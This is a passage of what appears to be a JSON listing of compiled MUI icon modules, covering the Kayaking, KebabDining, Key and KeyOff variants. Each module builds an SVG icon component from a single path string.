0l-.81-.43-.71 2.17c.31 0 .63-.01.95-.01.71 0 1.4.03 2.07.08z\"\n}), 'KayakingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KayakingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 22c0-.55.45-1 1-1 .87 0 1.73-.24 2.53-.7.29-.16.65-.17.94 0 1.59.9 3.48.9 5.06 0 .29-.16.65-.16.94 0 1.59.9 3.48.9 5.06 0 .29-.16.65-.16.94 0 .8.46 1.66.7 2.53.7.55 0 1 .45 1 1s-.45 1-1 1c-1.03 0-2.06-.25-3-.75-1.92 1.02-4.18 1-6.09-.05-1.79.87-3.92.98-5.58-.14C5.3 22.69 4.15 23 3 23c-.55 0-1-.45-1-1M12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m9.47 12.95c-.42.14-.9.28-1.41.42-.53-.15-1.03-.43-1.45-.77-.35-.29-.87-.29-1.23 0-.66.53-1.48.9-2.38.9s-1.72-.37-2.39-.91c-.35-.28-.87-.28-1.22 0-.67.54-1.49.91-2.39.91s-1.72-.37-2.39-.91c-.35-.29-.87-.28-1.23 0-.43.35-.92.62-1.45.77-.51-.14-.98-.28-1.4-.42-.92-.3-.92-1.6 0-1.9 1.21-.39 2.79-.82 4.6-1.13l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.36-.93c-.1-.25-.09-.52.02-.76l.74-1.68c.22-.51.82-.73 1.32-.51l1.37.61c.5.23.73.82.5 1.32l-.75 1.68c-.11.24-.31.43-.56.53l-.9.36-3.72 8.34c2.33.3 4.35.84 5.82 1.31.93.3.94 1.6.01 1.9m-6.45-5.49-.59.31c-.58.31-1.28.31-1.86 0l-.81-.43-.71 2.17c.31 0 .63-.01.95-.01.71 0 1.4.03 2.07.08z\"\n}), 'KayakingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KayakingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 12s-1.52.71-3.93 1.37c-.82-.23-1.53-.75-2.07-1.37-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.54.61-1.25 1.13-2.07 1.37C1.52 18.21 0 17.5 0 17.5s2.93-1.36 7.13-2.08l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.51-1.32L18.8 2 22 3.43 20.67 6.4l-1.31.5-3.72 8.34c4.85.63 8.36 2.26 8.36 2.26m-8.98-4.54-1.52.8-1.75-.92-.71 2.17c.32 0 .64-.01.96-.01.71 0 1.4.03 2.07.08z\"\n}), 'KayakingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KayakingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 12s-1.52.71-3.93 1.37c-.82-.23-1.53-.75-2.07-1.37-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.54.61-1.25 1.13-2.07 1.37C1.52 18.21 0 17.5 0 17.5s2.93-1.36 7.13-2.08l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.51-1.32L18.8 2 22 3.43 20.67 6.4l-1.31.5-3.72 8.34c4.85.63 8.36 2.26 8.36 2.26m-8.98-4.54-1.52.8-1.75-.92-.71 2.17c.32 0 .64-.01.96-.01.71 0 1.4.03 2.07.08z\"\n}), 'KayakingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KayakingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 12s-1.52.71-3.93 1.37c-.82-.23-1.53-.75-2.07-1.37-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.54.61-1.25 1.13-2.07 1.37C1.52 18.21 0 17.5 0 17.5s2.93-1.36 7.13-2.08l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.51-1.32L18.8 2 22 3.43 20.67 6.4l-1.31.5-3.72 8.34c4.85.63 8.36 2.26 8.36 2.26m-8.98-4.54-1.52.8-1.75-.92-.71 2.17c.32 0 .64-.01.96-.01.71 0 1.4.03 2.07.08z\"\n}), 'KayakingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KayakingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM12 5.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m12 12s-1.52.71-3.93 1.37c-.82-.23-1.53-.75-2.07-1.37-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.73.84-1.8 1.5-3 1.5s-2.27-.66-3-1.5c-.54.61-1.25 1.13-2.07 1.37C1.52 18.21 0 17.5 0 17.5s2.93-1.36 7.13-2.08l1.35-4.17c.31-.95 1.32-1.47 2.27-1.16.09.03.19.07.27.11l2.47 1.3 2.84-1.5 1.65-3.71-.51-1.32L18.8 2 22 3.43 20.67 6.4l-1.31.5-3.72 8.34c4.85.63 8.36 2.26 8.36 2.26m-8.98-4.54-1.52.8-1.75-.92-.71 2.17c.32 0 .64-.01.96-.01.71 0 1.4.03 2.07.08z\"\n}), 'KayakingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.75 8H11v5H7.75v1h.75c1.38 0 2.5 1.12 2.5 2.5S9.88 19 8.5 19h-.75v4h-1.5v-4H5.5C4.12 19 3 17.88 3 16.5S4.12 14 5.5 14h.75v-1H3V8h3.25V7H5.5C4.12 7 3 5.88 3 4.5S4.12 2 5.5 2h.75V1h1.5v1h.75C9.88 2 11 3.12 11 4.5S9.88 7 8.5 7h-.75zm10-1h.75C19.88 7 21 5.88 21 4.5S19.88 2 18.5 2h-.75V1h-1.5v1h-.75C14.12 2 13 3.12 13 4.5S14.12 7 15.5 7h.75v1H13v5h3.25v1h-.75c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S19.88 14 18.5 14h-.75v-1H21V8h-3.25z\"\n}), 'KebabDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.75 8H11v5H7.75v1h.75c1.38 0 2.5 1.12 2.5 2.5S9.88 19 8.5 19h-.75v4h-1.5v-4H5.5C4.12 19 3 17.88 3 16.5S4.12 14 5.5 14h.75v-1H3V8h3.25V7H5.5C4.12 7 3 5.88 3 4.5S4.12 2 5.5 2h.75V1h1.5v1h.75C9.88 2 11 3.12 11 4.5S9.88 7 8.5 7h-.75zm10-1h.75C19.88 7 21 5.88 21 4.5S19.88 2 18.5 2h-.75V1h-1.5v1h-.75C14.12 2 13 3.12 13 4.5S14.12 7 15.5 7h.75v1H13v5h3.25v1h-.75c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S19.88 14 18.5 14h-.75v-1H21V8h-3.25z\"\n}), 'KebabDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.75 7h.75C19.88 7 21 5.88 21 4.5S19.88 2 18.5 2h-.75V1h-1.5v1h-.75C14.12 2 13 3.12 13 4.5S14.12 7 15.5 7h.75v1H13v5h3.25v1h-.75c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S19.88 14 18.5 14h-.75v-1H21V8h-3.25zM15.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1h-4v-1zM7.75 7h.75C9.88 7 11 5.88 11 4.5S9.88 2 8.5 2h-.75V1h-1.5v1H5.5C4.12 2 3 3.12 3 4.5S4.12 7 5.5 7h.75v1H3v5h3.25v1H5.5C4.12 14 3 15.12 3 16.5S4.12 19 5.5 19h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S9.88 14 8.5 14h-.75v-1H11V8H7.75zM5.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1H5v-1z\"\n}), 'KebabDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.75 7h.75C19.88 7 21 5.88 21 4.5S19.88 2 18.5 2h-.75V1h-1.5v1h-.75C14.12 2 13 3.12 13 4.5S14.12 7 15.5 7h.75v1H13v5h3.25v1h-.75c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S19.88 14 18.5 14h-.75v-1H21V8h-3.25zM15.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1h-4v-1zM7.75 7h.75C9.88 7 11 5.88 11 4.5S9.88 2 8.5 2h-.75V1h-1.5v1H5.5C4.12 2 3 3.12 3 4.5S4.12 7 5.5 7h.75v1H3v5h3.25v1H5.5C4.12 14 3 15.12 3 16.5S4.12 19 5.5 19h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S9.88 14 8.5 14h-.75v-1H11V8H7.75zM5.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1H5v-1z\"\n}), 'KebabDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.75 13v1h.75c1.38 0 2.5 1.12 2.5 2.5S9.88 19 8.5 19h-.75v3.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V19H5.5C4.12 19 3 17.88 3 16.5S4.12 14 5.5 14h.75v-1H4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h2.25V7H5.5C4.12 7 3 5.88 3 4.5S4.12 2 5.5 2h.75v-.25c0-.41.34-.75.75-.75s.75.34.75.75V2h.75C9.88 2 11 3.12 11 4.5S9.88 7 8.5 7h-.75v1H10c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1zm10 0v1h.75c1.38 0 2.5 1.12 2.5 2.5S19.88 19 18.5 19h-.75v3.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V19h-.75c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5h.75v-1H14c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h2.25V7h-.75C14.12 7 13 5.88 13 4.5S14.12 2 15.5 2h.75v-.25c0-.41.34-.75.75-.75s.75.34.75.75V2h.75C19.88 2 21 3.12 21 4.5S19.88 7 18.5 7h-.75v1H20c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1z\"\n}), 'KebabDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.75 13v1h.75c1.38 0 2.5 1.12 2.5 2.5S9.88 19 8.5 19h-.75v3.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V19H5.5C4.12 19 3 17.88 3 16.5S4.12 14 5.5 14h.75v-1H4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h2.25V7H5.5C4.12 7 3 5.88 3 4.5S4.12 2 5.5 2h.75v-.25c0-.41.34-.75.75-.75s.75.34.75.75V2h.75C9.88 2 11 3.12 11 4.5S9.88 7 8.5 7h-.75v1H10c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1zm10 0v1h.75c1.38 0 2.5 1.12 2.5 2.5S19.88 19 18.5 19h-.75v3.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V19h-.75c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5h.75v-1H14c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h2.25V7h-.75C14.12 7 13 5.88 13 4.5S14.12 2 15.5 2h.75v-.25c0-.41.34-.75.75-.75s.75.34.75.75V2h.75C19.88 2 21 3.12 21 4.5S19.88 7 18.5 7h-.75v1H20c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1z\"\n}), 'KebabDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.75 8H11v5H7.75v1h.75c1.38 0 2.5 1.12 2.5 2.5S9.88 19 8.5 19h-.75v4h-1.5v-4H5.5C4.12 19 3 17.88 3 16.5S4.12 14 5.5 14h.75v-1H3V8h3.25V7H5.5C4.12 7 3 5.88 3 4.5S4.12 2 5.5 2h.75V1h1.5v1h.75C9.88 2 11 3.12 11 4.5S9.88 7 8.5 7h-.75zm10-1h.75C19.88 7 21 5.88 21 4.5S19.88 2 18.5 2h-.75V1h-1.5v1h-.75C14.12 2 13 3.12 13 4.5S14.12 7 15.5 7h.75v1H13v5h3.25v1h-.75c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S19.88 14 18.5 14h-.75v-1H21V8h-3.25z\"\n}), 'KebabDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.75 8H11v5H7.75v1h.75c1.38 0 2.5 1.12 2.5 2.5S9.88 19 8.5 19h-.75v4h-1.5v-4H5.5C4.12 19 3 17.88 3 16.5S4.12 14 5.5 14h.75v-1H3V8h3.25V7H5.5C4.12 7 3 5.88 3 4.5S4.12 2 5.5 2h.75V1h1.5v1h.75C9.88 2 11 3.12 11 4.5S9.88 7 8.5 7h-.75zm10-1h.75C19.88 7 21 5.88 21 4.5S19.88 2 18.5 2h-.75V1h-1.5v1h-.75C14.12 2 13 3.12 13 4.5S14.12 7 15.5 7h.75v1H13v5h3.25v1h-.75c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S19.88 14 18.5 14h-.75v-1H21V8h-3.25z\"\n}), 'KebabDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1h-4v-1zM5.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1H5v-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.75 7h.75C19.88 7 21 5.88 21 4.5S19.88 2 18.5 2h-.75V1h-1.5v1h-.75C14.12 2 13 3.12 13 4.5S14.12 7 15.5 7h.75v1H13v5h3.25v1h-.75c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S19.88 14 18.5 14h-.75v-1H21V8h-3.25zM15.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1h-4v-1zM7.75 7h.75C9.88 7 11 5.88 11 4.5S9.88 2 8.5 2h-.75V1h-1.5v1H5.5C4.12 2 3 3.12 3 4.5S4.12 7 5.5 7h.75v1H3v5h3.25v1H5.5C4.12 14 3 15.12 3 16.5S4.12 19 5.5 19h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S9.88 14 8.5 14h-.75v-1H11V8H7.75zM5.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1H5v-1z\"\n}, \"1\")], 'KebabDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KebabDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1h-4v-1zM5.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1H5v-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.75 7h.75C19.88 7 21 5.88 21 4.5S19.88 2 18.5 2h-.75V1h-1.5v1h-.75C14.12 2 13 3.12 13 4.5S14.12 7 15.5 7h.75v1H13v5h3.25v1h-.75c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S19.88 14 18.5 14h-.75v-1H21V8h-3.25zM15.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1h-4v-1zM7.75 7h.75C9.88 7 11 5.88 11 4.5S9.88 2 8.5 2h-.75V1h-1.5v1H5.5C4.12 2 3 3.12 3 4.5S4.12 7 5.5 7h.75v1H3v5h3.25v1H5.5C4.12 14 3 15.12 3 16.5S4.12 19 5.5 19h.75v4h1.5v-4h.75c1.38 0 2.5-1.12 2.5-2.5S9.88 14 8.5 14h-.75v-1H11V8H7.75zM5.5 5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h3c.28 0 .5.22.5.5s-.22.5-.5.5zm3 11c.28 0 .5.22.5.5s-.22.5-.5.5h-3c-.28 0-.5-.22-.5-.5s.22-.5.5-.5zm.5-6v1H5v-1z\"\n}, \"1\")], 'KebabDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Key.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10h-8.35C11.83 7.67 9.61 6 7 6c-3.31 0-6 2.69-6 6s2.69 6 6 6c2.61 0 4.83-1.67 5.65-4H13l2 2 2-2 2 2 4-4.04zM7 15c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}), 'Key');"
  },
  {
    "path": "packages/mui-icons-material/lib/Key.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10h-8.35C11.83 7.67 9.61 6 7 6c-3.31 0-6 2.69-6 6s2.69 6 6 6c2.61 0 4.83-1.67 5.65-4H13l2 2 2-2 2 2 4-4.04zM7 15c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}), 'Key');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.91 14.09 17 14l2 2 4-4.04L21 10h-8.17zM3.98 6.81C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.21 0 4.15-1.2 5.18-2.99l7.59 7.59 1.41-1.41L2.81 2.81 1.39 4.22zm5.93 5.93C9.58 14.03 8.4 15 7 15c-1.65 0-3-1.35-3-3 0-1.4.97-2.58 2.26-2.91z\"\n}), 'KeyOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.91 14.09 17 14l2 2 4-4.04L21 10h-8.17zM3.98 6.81C2.2 7.85 1 9.79 1 12c0 3.31 2.69 6 6 6 2.21 0 4.15-1.2 5.18-2.99l7.59 7.59 1.41-1.41L2.81 2.81 1.39 4.22zm5.93 5.93C9.58 14.03 8.4 15 7 15c-1.65 0-3-1.35-3-3 0-1.4.97-2.58 2.26-2.91z\"\n}), 'KeyOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.7 13.53-1.71-1.71c.01.06.01.12.01.18 0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.06 0 .12 0 .18.01L5.47 8.3C4.02 8.9 3 10.33 3 12c0 2.21 1.79 4 4 4 1.67 0 3.1-1.02 3.7-2.47m1.49 1.49C11.15 16.8 9.21 18 7 18c-3.31 0-6-2.69-6-6 0-2.21 1.2-4.15 2.98-5.19L1.39 4.22 2.8 2.81l18.38 18.38-1.41 